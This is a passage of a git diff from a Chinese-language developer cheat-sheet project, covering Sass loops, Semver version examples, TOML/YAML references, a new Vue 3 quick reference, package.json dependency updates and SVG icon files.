`extend-selector-pseudoclass` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着 `@extend` 规则将影响嵌套在伪类中的选择器,如 `:not()`
`units-level-3` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着单位算术支持在 CSS 值和单位级别 3 中定义的单位
`at-error` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着支持 `@error` 规则
`custom-property` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着自定义属性声明值不支持除插值之外的任何表达式
<!--rehype:className=style-list-arrow-->
Sass 循环
--------
### For 循环
```scss
$base-color: #036;
@for $i from 1 through 3 {
ul:nth-child(3n + #{$i}) {
background-color: lighten($base-color, $i * 5%);
}
}
```
编译 css 为:
```css
ul:nth-child(3n + 1) {
background-color: #004080;
}
ul:nth-child(3n + 2) {
background-color: #004d99;
}
ul:nth-child(3n + 3) {
background-color: #0059b3;
}
```
### Each 循环(简单)
```scss
$sizes: 40px, 50px;
@each $size in $sizes {
.icon-#{$size} {
font-size: $size;
height: $size;
}
}
```
编译 css 为:
```css
.icon-40px {
font-size: 40px;
height: 40px;
}
.icon-50px {
font-size: 50px;
height: 50px;
}
```
### Each 循环(嵌套)
```scss
$icons: ("eye": "\f112", "start": "\f12e");
@each $name, $glyph in $icons {
.icon-#{$name}:before {
display: inline-block;
font-family: "Icon Font";
content: $glyph;
}
}
```
编译 css 为:
```css
.icon-eye:before {
display: inline-block;
font-family: "Icon Font";
content: "";
}
.icon-start:before {
display: inline-block;
font-family: "Icon Font";
content: "";
}
```
### While 循环
<!--rehype:wrap-class=col-span-2-->
```scss
@use "sass:math";
/// 将 `$value` 除以 `$ratio` 直到它低于 `$base`
@function scale-below($value, $base, $ratio: 1.618) {
@while $value > $base {
$value: math.div($value, $ratio);
}
@return $value;
}
$normal-font-size: 16px;
sup {
font-size: scale-below(20px, 16px);
}
```
编译 css 为:
```css
sup {
font-size: 12.36094px;
}
```
Sass 其它功能
--------
### 条件句
<!--rehype:wrap-class=row-span-2-->
```scss
@mixin avatar($size, $circle: false) {
width: $size;
height: $size;
@if $circle {
border-radius: $size / 2;
}
}
.square-av {
@include avatar(100px, $circle: false);
}
.circle-av {
@include avatar(100px, $circle: true);
}
```
编译 css 为:
```css
.square-av {
width: 100px;
height: 100px;
}
.circle-av {
width: 100px;
height: 100px;
border-radius: 50px;
}
```
### 插值
```scss
.#{$klass} { ... } // Class
call($function-name) // Functions
@media #{$tablet}
font: #{$size}/#{$line-height}
url("#{$background}.jpg")
```
### 列表
```scss
$list: (a b c);
nth($list, 1) // starts with 1
length($list)
@each $item in $list { ... }
```
### Maps
<!--rehype:wrap-class=col-span-2-->
```scss
$map: (key1: value1, key2: value2, key3: value3);
map-get($map, key1)
```
另见
----
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_

View File

@ -54,7 +54,6 @@ Semver 备忘清单
<!--rehype:className=shortcuts-->
### 连字符范围
<!--rehype:wrap-class=row-span-3-->
| 范围 | 描述 |
| --- | --- |
@ -80,6 +79,43 @@ Semver 备忘清单
如果左边是部分的(例如,`1.2`),则假定缺少的部分为`0`(例如,` 1.2.0`)。
### 有效的语义版本
<!--rehype:wrap-class=row-span-4-->
```js
0.0.4
1.2.3
10.20.30
1.1.2-prerelease+meta
1.1.2+meta
1.1.2+meta-valid
1.0.0-alpha
1.0.0-beta
1.0.0-alpha.beta
1.0.0-alpha.beta.1
1.0.0-alpha.1
1.0.0-alpha0.valid
1.0.0-alpha.0valid
1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay
1.0.0-rc.1+build.1
2.0.0-rc.1+build.123
1.2.3-beta
10.2.3-DEV-SNAPSHOT
1.2.3-SNAPSHOT-123
1.0.0
2.0.0
1.1.7
2.0.0+build.1848
2.0.1-alpha.1227
1.0.0-alpha+beta
1.2.3----RC-SNAPSHOT.12.9.1--.12+788
1.2.3----R-S.12.9.1--.12+meta
1.2.3----RC-SNAPSHOT.12.9.1--.12
1.0.0+0.build.1-rc.10000aaa-kk-0.1
99999999999999999999999.999999999999999999.99999999999999999
1.0.0-0A.is.legal
```
### 组合范围
| 范围 | 描述 |
@ -88,13 +124,8 @@ Semver 备忘清单
| `0.14.x \|\| 15.x.x` | 或 (双竖线分隔) |
<!--rehype:className=shortcuts show-header-->
### 预发布
```
1.2.3-prerelease+build
```
### 解释
<!--rehype:wrap-class=row-span-2-->
| 范围 | 描述 |
| --- | --- |
@ -104,6 +135,13 @@ Semver 备忘清单
| `1.x.x` | 表示定义了公共 API |
<!--rehype:className=shortcuts-->
### 预发布
```
1.2.3-prerelease+build
1.1.2-prerelease+meta
```
另见
----

1209
docs/swiftui.md Normal file

File diff suppressed because it is too large Load Diff

View File

@ -12,6 +12,7 @@ TOML 备忘清单
- [Document](https://toml.io/en/latest) _(toml.io)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
### 示例
@ -253,4 +254,15 @@ bat = "hi"
name = { first = "Tom", last = "Preston-Werner" }
point = { x = 1, y = 2 }
animal = { type.name = "pug" }
```
```
另见
---
- [Document](https://toml.io/en/latest) _(toml.io)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_

271
docs/vue.md Normal file
View File

@ -0,0 +1,271 @@
Vue 3 备忘清单
===
渐进式 JavaScript 框架 [Vue 3](https://cn.vuejs.org/) 备忘清单的快速参考列表,包含常用 API 和示例。
入门
---
### 介绍
Vue 是一套用于构建用户界面的渐进式框架
- [Vue 3.x 官方文档](https://cn.vuejs.org/)
- [Vue Router 4.x 官方文档](https://router.vuejs.org/zh/)
<!--rehype:className=style-round-->
注意Vue 3.x 版本对应 Vue Router 4.x 路由版本
### 创建应用
<!--rehype:wrap-class=row-span-3-->
已安装 `16.0` 或更高版本的 Node.js
```bash
$ npm init vue@latest
```
指令将会安装并执行 [create-vue](https://www.npmjs.com/package/create-vue),它是 Vue 官方的项目脚手架工具
```bash
✔ Project name: … <your-project-name>
✔ Add TypeScript? … No/Yes
✔ Add JSX Support? … No/Yes
✔ Add Vue Router for Single Page Application development? … No/Yes
✔ Add Pinia for state management? … No/Yes
✔ Add Vitest for Unit testing? … No/Yes
✔ Add Cypress for both Unit and End-to-End testing? … No/Yes
✔ Add ESLint for code quality? … No/Yes
✔ Add Prettier for code formatting? … No/Yes
Scaffolding project in ./<your-project-name>...
Done.
```
<!--rehype:className=wrap-text -->
安装依赖并启动开发服务器
```bash
$ cd <your-project-name>
$ npm install
$ npm run dev
```
当你准备将应用发布到生产环境时,请运行:
```bash
$ npm run build
```
此命令会在 `./dist` 文件夹中为你的应用创建一个生产环境的构建版本
### 应用实例
<!--rehype:wrap-class=row-span-2-->
```js
import { createApp } from 'vue'
const app = createApp({
data() {
return { count: 0 }
}
})
app.mount('#app')
```
挂载应用
```html
<div id="app">
<button @click="count++">
{{ count }}
</button>
</div>
```
### 通过 CDN 使用 Vue
```html
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
<div id="app">{{ message }}</div>
<script>
const { createApp } = Vue
createApp({
data() {
return {
message: 'Hello Vue!'
}
}
}).mount('#app')
</script>
```
<!--rehype:className=wrap-text -->
### 使用 ES 模块构建版本
```html
<div id="app">{{ message }}</div>
<script type="module">
import { createApp } from 'https://unpkg.com/vue@3/dist/vue.esm-browser.js'
createApp({
data() {
return {
message: 'Hello Vue!'
}
}
}).mount('#app')
</script>
```
<!--rehype:className=wrap-text -->
模板语法
---
### 文本插值
```html
<span>Message: {{ msg }}</span>
```
使用的是 `Mustache` 语法 (即双大括号),每次 `msg` 属性更改时它也会同步更新
### 原始 HTML
<!--rehype:wrap-class=col-span-2-->
```html
<p>Using text interpolation: {{ rawHtml }}</p>
<p>Using v-html directive: <span v-html="rawHtml"></span></p>
```
双大括号`{{}}`会将数据解释为纯文本,使用 `v-html` 指令,将插入 HTML
### Attribute 绑定
```html
<div v-bind:id="dynamicId"></div>
```
简写
```html
<div :id="dynamicId"></div>
```
### 布尔型 Attribute
```html
<button :disabled="isButtonDisabled">
Button
</button>
```
<!--rehype:className=wrap-text -->
### 动态绑定多个值
<!--rehype:wrap-class=row-span-2-->
```js
data() {
return {
objectOfAttrs: {
id: 'container',
class: 'wrapper'
}
}
}
```
通过不带参数的 `v-bind`,你可以将它们绑定到单个元素上
```html
<div v-bind="objectOfAttrs"></div>
```
### 使用 JavaScript 表达式
```html
{{ number + 1 }}
{{ ok ? 'YES' : 'NO' }}
{{ message.split('').reverse().join('') }}
<div :id="`list-${id}`"></div>
```
### 仅支持表达式(例子都是无效)
```html
<!-- 这是一个语句,而非表达式 -->
{{ var a = 1 }}
<!-- 条件控制也不支持,请使用三元表达式 -->
{{ if (ok) { return message } }}
```
### 调用函数
```html
<span :title="toTitleDate(date)">
{{ formatDate(date) }}
</span>
```
### 指令 Directives
```html
<p v-if="seen">Now you see me</p>
```
### 参数 Arguments
```html
<a v-bind:href="url"> ... </a>
<!-- 简写 -->
<a :href="url"> ... </a>
```
### 绑定事件
```html
<a v-on:click="doSomething"> ... </a>
<!-- 简写 -->
<a @click="doSomething"> ... </a>
```
### 动态参数
```html
<a v-bind:[attributeName]="url"> ... </a>
<!-- 简写 -->
<a :[attributeName]="url"> ... </a>
```
这里的 `attributeName` 会作为一个 JS 表达式被动态执行
### 动态的事件名称
```html
<a v-on:[eventName]="doSomething"> ... </a>
<!-- 简写 -->
<a @[eventName]="doSomething">
```
### 修饰符 Modifiers
```html
<form @submit.prevent="onSubmit">
...
</form>
```
`.prevent` 修饰符会告知 `v-on` 指令对触发的事件调用 `event.preventDefault()`
### 指令语法
```bash
v-on:submit.prevent="onSubmit"
──┬─ ─┬──── ─┬───── ─┬──────
┆ ┆ ┆ ╰─ Value 解释为JS表达式
┆ ┆ ╰─ Modifiers 由前导点表示
┆ ╰─ Argument 跟随冒号或速记符号
╰─ Name 以 v- 开头使用速记时可以省略
```

View File

@ -1,7 +1,7 @@
Vue2 备忘清单
===
渐进式 JavaScript 框架 Vue 2 备忘清单的快速参考列表,包含常用 API 和示例。
渐进式 JavaScript 框架 [Vue 2](https://v2.cn.vuejs.org/) 备忘清单的快速参考列表,包含常用 API 和示例。
入门
---
@ -14,6 +14,8 @@ Vue 是一套用于构建用户界面的渐进式框架
- [Vue Router 3.x 官方文档](https://v3.router.vuejs.org/)
<!--rehype:className=style-round-->
注意Vue 2.x 版本对应 Vue Router 3.x 路由版本
#### 快速创建 **Vue** 项目 ([Vue CLI](https://cli.vuejs.org/zh/guide/creating-a-project.html))
```bash

View File

@ -426,9 +426,9 @@ YAML 参考
`"` | 环绕内嵌转义标量
`|` | 块标量指示器
`>` | 折叠标量指示器
`-` | 剥离 chomp 修饰符(`|-` 或 `>-`
`+` | 保留 chomp 修饰符(`|+` 或 `>+`
`1-9` | 显式缩进修饰符(`|1` 或 `>2`)。 <br/> 修饰符可以组合(`|2-`, `>+1`
`-` | 剥离 chomp 修饰符(`\|-` 或 `>-`
`+` | 保留 chomp 修饰符(`\|+` 或 `>+`
`1-9` | 显式缩进修饰符(`\|1` 或 `>2`)。 <br/> 修饰符可以组合(`\|2-`, `>+1`
### 标签属性(通常未指定)
<!--rehype:wrap-class=col-span-2-->
@ -441,6 +441,7 @@ YAML 参考
`!!foo` | 次要的(按照惯例,表示 `tag:yaml.org,2002:foo`
`!h!foo` | 需要 `%TAG !h! <prefix>`(然后表示 `<prefix>foo`
`!<foo>` | 逐字标记始终表示“foo”
<!--rehype:class=auto-wrap-->
### 杂项指标
@ -515,10 +516,13 @@ YAML 参考
| `[.inf, -.Inf, .NAN]` | [无穷大(浮点数),负数,不是数字] |
| `{Y, true, Yes, ON}` | 布尔真 |
| `{n, FALSE, No, off}` | 布尔假 |
<!--rehype:class=auto-wrap-->
另见
---
- [YAML Reference Card](https://yaml.org/refcard.html) _(yaml.org)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/yaml/) _(learnxinyminutes.com)_
- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_

View File

@ -1,31 +1,39 @@
{
"name": "@wcj/reference",
"version": "1.7.0",
"version": "1.14.0",
"description": "为开发人员分享快速参考备忘单(主要是方便自己)。",
"author": "jaywcjlove",
"license": "MIT",
"homepage": "https://jaywcjlove.github.io/reference",
"private": false,
"scripts": {
"prepare": "husky install",
"build": "node scripts/build.mjs",
"start": "node scripts/watch.mjs"
"start": "node scripts/watch.mjs",
"prettier": "prettier --write '**/*.{mjs,css,json,prettierrc,lintstagedrc}'"
},
"repository": {
"type": "git",
"url": "git+https://github.com/jaywcjlove/reference.git"
"url": "https://github.com/jaywcjlove/reference.git"
},
"bugs": {
"url": "https://github.com/jaywcjlove/reference/issues"
},
"keywords": [],
"devDependencies": {
"@wcj/markdown-to-html": "^2.1.0",
"@wcj/markdown-to-html": "^2.1.2",
"chokidar": "^3.5.3",
"fs-extra": "^10.1.0",
"husky": "^8.0.1",
"lint-staged": "^13.0.3",
"prettier": "^2.7.1",
"recursive-readdir-files": "^2.3.0",
"rehype-autolink-headings": "^6.1.1",
"rehype-document": "^6.1.0",
"rehype-slug": "^5.0.1",
"remark-gemoji": "^7.0.1"
},
"engines": {
"node": ">=16.0.0"
}
}

View File

@ -0,0 +1,3 @@
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 24 24">
<path d="M19.54 5.08A10.61 10.61 0 0 0 11.91 2a10 10 0 0 0-.05 20 2.58 2.58 0 0 0 2.53-1.89 2.52 2.52 0 0 0-.57-2.28.5.5 0 0 1 .37-.83h1.65A6.15 6.15 0 0 0 22 11.33a8.48 8.48 0 0 0-2.46-6.25Zm-12.7 9.66a1.5 1.5 0 1 1 .4-2.08 1.49 1.49 0 0 1-.4 2.08ZM8.3 9.25a1.5 1.5 0 1 1-.55-2 1.5 1.5 0 0 1 .55 2ZM11 7a1.5 1.5 0 1 1 1.5-1.5A1.5 1.5 0 0 1 11 7Zm5.75.8a1.5 1.5 0 1 1 .55-2 1.5 1.5 0 0 1-.55 2Z" />
</svg>

After

Width:  |  Height:  |  Size: 514 B

3
scripts/assets/java.svg Normal file
View File

@ -0,0 +1,3 @@
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 384 512" height="1em" width="1em">
<path d="M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z"/>
</svg>

After

Width:  |  Height:  |  Size: 1.2 KiB

3
scripts/assets/menu.svg Normal file
View File

@ -0,0 +1,3 @@
<svg aria-hidden="true" fill="currentColor" height="1em" width="1em" viewBox="0 0 16 16" version="1.1" data-view-component="true">
<path fill-rule="evenodd" d="M2 4a1 1 0 100-2 1 1 0 000 2zm3.75-1.5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zm0 5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zm0 5a.75.75 0 000 1.5h8.5a.75.75 0 000-1.5h-8.5zM3 8a1 1 0 11-2 0 1 1 0 012 0zm-1 6a1 1 0 100-2 1 1 0 000 2z"></path>
</svg>

After

Width:  |  Height:  |  Size: 416 B

2
scripts/assets/mysql.svg Normal file

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 5.8 KiB

View File

@ -0,0 +1,3 @@
<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 30 27">
<path fill="currentColor" fill-rule="evenodd" d="M24.1575957,7.91399838 C19.6909292,2.9579985 10.7162627,2.9579985 6.2509295,7.91399838 C4.72692954,9.60599833 4.04826289,11.7206649 4.28826288,14.0313316 C4.61226288,17.1499981 5.87759618,19.8033314 7.83359613,21.6193314 C7.8642628,21.0966647 7.86159613,20.4646647 7.78559613,19.6833314 L7.46692947,16.4099982 L10.3602627,17.9726648 C13.4069293,19.6179981 17.0002626,19.6179981 20.0455958,17.9726648 L22.9389291,16.4099982 L22.6215958,19.6833314 C22.5442624,20.4646647 22.5429291,21.0966647 22.5735958,21.6193314 C24.5295957,19.8033314 25.794929,17.1499981 26.118929,14.0313316 C26.358929,11.7206649 25.682929,9.60599833 24.1575957,7.91399838 M29.6015956,14.3926649 C29.0642623,19.5833314 26.430929,23.8366646 22.3789291,26.0646646 L21.1455958,26.7433312 L20.2189292,25.6833313 C20.1015958,25.5486646 19.2989292,24.5486646 19.0975958,22.153998 C16.7162626,22.8913313 13.6909293,22.8913313 11.3109294,22.153998 C11.109596,24.5486646 10.3069294,25.5486646 10.1895961,25.6833313 L9.26159609,26.7433312 L8.02826279,26.0646646 C3.97626289,23.837998 1.34426296,19.5833314 0.805596305,14.3926649 C0.46426298,11.1153316 1.47492962,7.98333171 3.64959623,5.56999844 C9.51359609,-0.934001402 20.8949291,-0.934001402 26.7575957,5.56999844 C28.9335956,7.98333171 29.9429289,11.1153316 29.6015956,14.3926649" transform="matrix(1 0 0 -1 0 27.435)"/>
</svg>

After

Width:  |  Height:  |  Size: 1.4 KiB

View File

@ -0,0 +1,7 @@
<svg viewBox="0 0 36 36" xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
<path d="M26.58 32h-18a1 1 0 1 0 0 2h18a1 1 0 0 0 0-2Z"/>
<path d="M31.73 15.4h-6.17a18.87 18.87 0 0 1-1.62 2.52 2.33 2.33 0 0 1 .33 1.19 22 22 0 0 0 5 .45 11.88 11.88 0 0 1-.61 1.53h-.56a17.41 17.41 0 0 1-4.32-.56 2.29 2.29 0 0 1-3 .62 18.43 18.43 0 0 1-7 3.5 2.34 2.34 0 0 1-1.57 1.79l-.29.06a11.93 11.93 0 0 1-3.39-2.8h.66a2.33 2.33 0 0 1 4.37-.58A16.94 16.94 0 0 0 19.78 20a2.32 2.32 0 0 1-.18-1.17c-.42-.24-.84-.49-1.25-.76a17.53 17.53 0 0 1-5.35-5.6 2.31 2.31 0 0 1-2.28-.63 27.31 27.31 0 0 0-5 4.74v-.57a12 12 0 0 1 .14-1.73 18.75 18.75 0 0 1 4.2-3.8 2.28 2.28 0 0 1 1.1-2.25c-.12-.43-.24-.86-.33-1.3 0-.14 0-.29-.11-.64a12 12 0 0 1 1.37-.87c.1.59.14.9.21 1.21s.2.85.32 1.27h.25a2.33 2.33 0 0 1 1.13.63 18.59 18.59 0 0 1 6.39-1L23 3A14 14 0 0 0 3.75 16c0 .45 0 .89.07 1.33A14 14 0 0 0 31.76 16c0-.2-.02-.4-.03-.6Z" />
<path d="M14.26 11.64a16 16 0 0 0 4.93 5.23c.34.23.69.43 1 .63a2.28 2.28 0 0 1 2.58-.57 17.29 17.29 0 0 0 1-1.54h-1.6A3.68 3.68 0 0 1 19 9.89l.56-.89a17.08 17.08 0 0 0-4.84.88 2.25 2.25 0 0 1-.47 1.77Z" />
<path d="M26.85 1.14 21.13 11a1.28 1.28 0 0 0 1.1 2h11.45a1.28 1.28 0 0 0 1.1-2l-5.72-9.86a1.28 1.28 0 0 0-2.21 0Z"/>
<path fill="none" d="M0 0h36v36H0z"/>
</svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

3
scripts/assets/sass.svg Normal file
View File

@ -0,0 +1,3 @@
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 64 64" height="1em" width="1em">
<path d="M55.094 35.56a13.19 13.19 0 0 0-5.8 1.35c-.6-1.188-1.2-2.225-1.3-3-.113-.9-.25-1.45-.113-2.525s.763-2.6.763-2.725c-.012-.113-.138-.663-1.425-.675s-2.4.25-2.525.588a14.36 14.36 0 0 0-.538 1.913c-.225 1.175-2.575 5.338-3.913 7.526-.438-.85-.813-1.6-.888-2.2-.113-.9-.25-1.45-.113-2.525s.763-2.6.763-2.725c-.012-.113-.138-.663-1.425-.675s-2.4.25-2.525.588-.263 1.138-.538 1.913c-.263.775-3.388 7.726-4.2 9.538-.413.925-.775 1.663-1.038 2.163s-.012.038-.037.088l-.35.663v.012c-.175.313-.363.613-.45.613-.062 0-.188-.838.025-1.988.463-2.413 1.588-6.176 1.575-6.313 0-.062.213-.725-.725-1.063-.913-.338-1.238.225-1.313.225s-.138.2-.138.2 1.013-4.238-1.938-4.238c-1.85 0-4.4 2.013-5.663 3.85l-6.376 3.488-.138-.15C11.178 35.66 4.565 32.96 4.84 27.835c.1-1.863.75-6.776 12.7-12.726 9.788-4.875 17.627-3.538 18.99-.563 1.938 4.25-4.188 12.15-14.364 13.29-3.875.438-5.913-1.063-6.426-1.625-.538-.588-.613-.613-.813-.5-.325.175-.125.7 0 1.013.3.788 1.55 2.188 3.675 2.888 1.863.613 6.413.95 11.914-1.175 6.163-2.388 10.976-9.013 9.563-14.55-1.438-5.638-10.788-7.488-19.627-4.35C15.19 11.41 9.5 14.334 5.4 18.172.515 22.722-.26 26.698.064 28.348c1.138 5.888 9.25 9.726 12.5 12.564l-.45.25c-1.625.8-7.813 4.038-9.363 7.463-1.75 3.875.275 6.663 1.625 7.038 4.175 1.163 8.45-.925 10.763-4.363 2.3-3.438 2.025-7.9.963-9.938l-.038-.075 1.275-.75a74.573 74.573 0 0 1 2.35-1.325c-.4 1.088-.688 2.375-.838 4.25-.175 2.2.725 5.05 1.913 6.176.525.488 1.15.5 1.538.5 1.375 0 2-1.138 2.688-2.5.85-1.663 1.6-3.588 1.6-3.588s-.938 5.213 1.625 5.213c.938 0 1.875-1.213 2.3-1.838v.012s.025-.038.075-.125c.1-.15.15-.238.15-.238v-.025c.375-.65 1.213-2.138 2.463-4.6 1.613-3.175 3.163-7.15 3.163-7.15s.15.975.613 2.575c.275.95.875 1.988 1.338 3l-.6.825.012.013a35.62 35.62 0 0 1-.988 1.25c-1.275 1.525-2.8 3.263-3 3.763-.238.588-.188 1.025.275 1.375.338.25.938.3 1.575.25 1.15-.075 1.95-.363 2.35-.538a8.14 8.14 0 0 0 2.025-1.063c1.25-.925 2.013-2.238 1.938-3.988-.038-.963-.35-1.913-.738-2.813l.338-.5c1.975-2.888 3.5-6.063 3.5-6.063s.15.975.613 2.575c.238.813.713 1.7 1.138 2.575-1.85 1.513-3.013 3.263-3.413 4.413-.738 2.125-.163 3.088.925 3.313.488.1 1.188-.125 1.713-.35a7.76 7.76 0 0 0 2.163-1.113c1.25-.925 2.45-2.213 2.388-3.95-.038-.8-.25-1.588-.538-2.338 1.575-.65 3.613-1.025 6.2-.713 5.563.65 6.663 4.125 6.45 5.575s-1.375 2.25-1.763 2.5c-.388.238-.513.325-.475.5.05.263.225.25.563.2.463-.075 2.925-1.188 3.025-3.863.15-3.438-3.113-7.188-8.9-7.15zM12.19 50.025c-1.838 2.013-4.425 2.775-5.525 2.125-1.188-.688-.725-3.65 1.538-5.788 1.375-1.3 3.163-2.5 4.338-3.238l1.138-.688c.075-.05.125-.075.125-.075.088-.05.188-.113.288-.175.838 3.05.038 5.725-1.9 7.838zm13.44-9.138c-.638 1.563-1.988 5.575-2.8 5.35-.7-.188-1.125-3.225-.138-6.226.5-1.513 1.563-3.313 2.188-4.013 1.013-1.125 2.113-1.5 2.388-1.038.325.6-1.238 4.95-1.638 5.926zm11.088 5.3c-.275.138-.525.238-.638.163-.088-.05.113-.238.113-.238s1.388-1.488 1.938-2.175l1.088-1.388v.15c0 1.8-1.725 3-2.5 3.488zm8.55-1.95c-.2-.15-.175-.613.5-2.063.263-.575.863-1.538 1.9-2.45.125.375.2.738.188 1.075-.013 2.25-1.613 3.088-2.588 3.438z" />
</svg>

After

Width:  |  Height:  |  Size: 3.1 KiB

View File

@ -1,3 +1,3 @@
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
<path d="M4.5 9c-.6 0-1 .5-1 1v1.75c0 .5.4 1 1 1H7v.75H3.5V15h4c.6 0 1-.5 1-1v-1.75c0-.5-.4-1-1-1H5v-.75h3.5V9h-4m6 0c-.6 0-1 .5-1 1v1.75c0 .5.4 1 1 1H13v.75H9.5V15h4c.6 0 1-.5 1-1v-1.75c0-.5-.4-1-1-1H11v-.75h3.5V9h-4m5 0v6H17v-2.5h2V15h1.5V9H19v2h-2V9h-1.5Z"/>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 1024 1024">
<path fill="currentColor" d="M924.999924,0 C979.676115,-1.00438532e-14 1023.99992,44.3238098 1023.99992,99 L1023.99992,924.999924 C1023.99992,979.676115 979.676115,1023.99992 924.999924,1023.99992 L99,1023.99992 C44.3238098,1023.99992 2.09067569e-14,979.676115 0,924.999924 L0,99 C-6.69590214e-15,44.3238098 44.3238098,2.42547079e-14 99,0 L924.999924,0 Z M297.983357,621.999996 C235.914893,621.999996 189.713556,661.247852 189.713556,713.578343 C189.713556,761.703699 223.78121,786.93446 254.5821,800.017085 L296.583318,818.239305 C325.050813,830.387461 340.451258,836.928764 340.451258,857.95441 C340.451258,877.578338 325.984169,891.595432 292.849882,891.595432 C266.715783,891.595432 238.714972,878.045577 217.714368,858.421639 C214.914289,856.085462 211.180843,856.552701 209.314121,858.888879 L177.579873,895.800557 C175.713151,897.669505 175.246467,901.407401 177.579873,903.743578 C207.447408,933.179475 249.448625,949.999996 291.916516,949.999996 C362.851901,949.999996 407.653208,907.014234 407.653208,853.749275 C407.653208,806.558398 379.185713,781.327626 342.317981,765.441584 L300.783436,748.153834 C274.649348,737.407396 255.98214,729.931614 255.98214,710.774926 C255.98214,692.552697 270.449229,680.87179 297.983357,680.87179 C322.717407,680.87179 341.384614,689.74928 360.518505,705.635322 C363.318584,707.971499 367.05203,707.03703 368.918753,704.700843 L396.452881,670.125352 C398.319604,668.256404 398.319604,664.518508 395.986198,662.182331 C371.252149,637.418799 334.85109,621.999996 297.983357,621.999996 Z M544.855967,621.999996 C482.787502,621.999996 436.586166,661.247852 436.586166,713.578343 C436.586166,761.703699 470.653819,786.93446 501.45471,800.017085 L543.455927,818.239305 C571.923422,830.387461 587.323867,836.928764 587.323867,857.95441 C587.323867,877.578338 572.856778,891.595432 539.722491,891.595432 C513.588403,891.595432 485.587591,878.045577 464.586977,858.421639 C461.786898,856.085462 458.053453,856.552701 456.18673,858.888879 L424.452483,895.800557 C422.58576,897.669505 422.119077,901.407401 424.452483,903.743578 C454.320017,933.179475 496.321234,949.999996 538.789125,949.999996 C609.72452,949.999996 654.525817,907.014234 654.525817,853.749275 C654.525817,806.558398 626.058322,781.327626 589.19059,765.441584 L547.656056,748.153834 C521.521957,737.407396 502.854749,729.931614 502.854749,710.774926 C502.854749,692.552697 517.321838,680.87179 544.855967,680.87179 C569.590016,680.87179 588.257224,689.74928 607.391114,705.635322 C610.191194,707.971499 613.924639,707.03703 615.791362,704.700843 L643.32549,670.125352 C645.192213,668.256404 645.192213,664.518508 642.858807,662.182331 C618.124758,637.418799 581.723709,621.999996 544.855967,621.999996 Z M758.127976,627.60683 L703.993075,627.60683 C701.659669,627.60683 697.926234,629.475778 697.926234,633.213664 L697.926234,938.786319 C697.926234,941.122496 700.25963,944.393152 703.993075,944.393152 L758.127976,944.393152 C760.461382,944.393152 763.728134,942.524204 763.728134,938.786319 L763.728134,808.894575 L876.198064,808.894575 L876.198064,938.786319 C876.198064,941.122496 878.064787,944.393152 881.798222,944.393152 L935.933123,944.393152 C938.266529,944.393152 941.999974,942.524204 941.999974,938.786319 L941.999974,633.213664 C941.999974,630.877486 939.666568,627.60683 935.933123,627.60683 L881.798222,627.60683 C879.464826,627.60683 876.198064,629.475778 876.198064,633.213664 